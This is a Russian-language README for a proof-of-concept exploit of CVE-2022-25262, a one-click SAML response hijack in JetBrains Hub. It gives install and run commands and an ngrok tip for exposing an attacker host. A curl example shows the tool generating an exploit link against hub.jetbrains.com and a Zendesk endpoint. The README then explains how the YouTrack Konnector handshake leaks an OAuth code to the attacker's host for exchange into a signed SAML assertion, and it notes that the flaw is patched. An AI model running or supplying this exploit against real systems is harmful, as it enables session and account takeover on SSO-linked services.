
PoC + детали уязвимости CVE-2022-25262 / перехват SAML-ответа в один клик в JetBrains Hub
PoC + детали уязвимости CVE-2022-25262 | перехват SAML-ответа в JetBrains Hub в один клик
Установка и запуск:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
Использование:
Параметры запроса:
Получить ссылку на эксплойт:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
ДЕМО:
Уязвимость состоит из двух частей:
SAML IdP работает как расширение для OAuth. Когда конкретный пользователь хочет войти в конкретного поставщика услуг, он проходит через поток выдачи кода авторизации OAuth (запросы 1-2), и после получения кода возвращает его в Hub (запрос 3). Hub берёт информацию о пользователе, связанном с кодом, и выдаёт подписанный SAML-ответ для сервиса. Несмотря на то, что SAML IdP использует OAuth2-клиент Hub (client_id=0-0-0-0-0) для интеграции, он не проверяет, от имени какого OAuth-клиента был выдан код. Единственное, что здесь имеет значение, — действителен ли код. Это может привести к перехвату SAML-ответа, если атакующий найдёт способ перехватить код авторизации у любого OAuth-клиента, зарегистрированного в Hub.

YouTrack Konnector — это собственный сервис, который позволяет подключить конкретный экземпляр YouTrack к своему Slack-боту. Сервис принимает URL-адрес YouTrack, а также идентификатор и секрет OAuth-клиента Konnector (запрос 1). Затем он пытается проверить, что указанный URL указывает на действующий экземпляр YouTrack, вызывая несколько API-эндпоинтов ("handshake", запросы 2-3). Если всё прошло успешно, Konnector вернёт URL, который позволит конкретному пользователю пройти поток выдачи кода авторизации OAuth (ответ 1). URL содержит параметр запроса "state", который помогает Konnector направлять код авторизации OAuth в соответствующий обработчик (экземпляр Hub). Атакующий может создать хост с эндпоинтами, необходимыми для "handshake", и получить параметр "state", указывающий на хост атакующего. После этого атакующий может сформировать URL авторизации OAuth и отправить его жертве. Если жертва перейдёт по ссылке и завершит OAuth-поток (у жертвы должна быть действительная сессия в Hub), сервис Konnector получит код и отправит его на хост атакующего (запросы 4-6).

Команда YouTrack добавила проверку, которая разрешает использование кодов авторизации, выданных для OAuth-клиента "JetBrains Hub Service", в процессе обмена "OAuth2 -> SAML". Следовательно, нет возможности обменять коды авторизации, выданные для OAuth-клиента "YouTrack Konnector".
Вы можете подписаться на меня в Twitter, GitHub или YouTube.
| Имя | Описание | Обязателен |
|---|
| hub_url | URL целевого экземпляра Hub | ✅ |
| issuer | SAML-издатель | ✅ |
| acs_url | URL службы ACS (Assertion Consumer Service) | ✅ |
| youtrack_url | URL экземпляра YouTrack, подключённого к Hub (обязателен, если гостевая учётная запись отключена) | ❔ |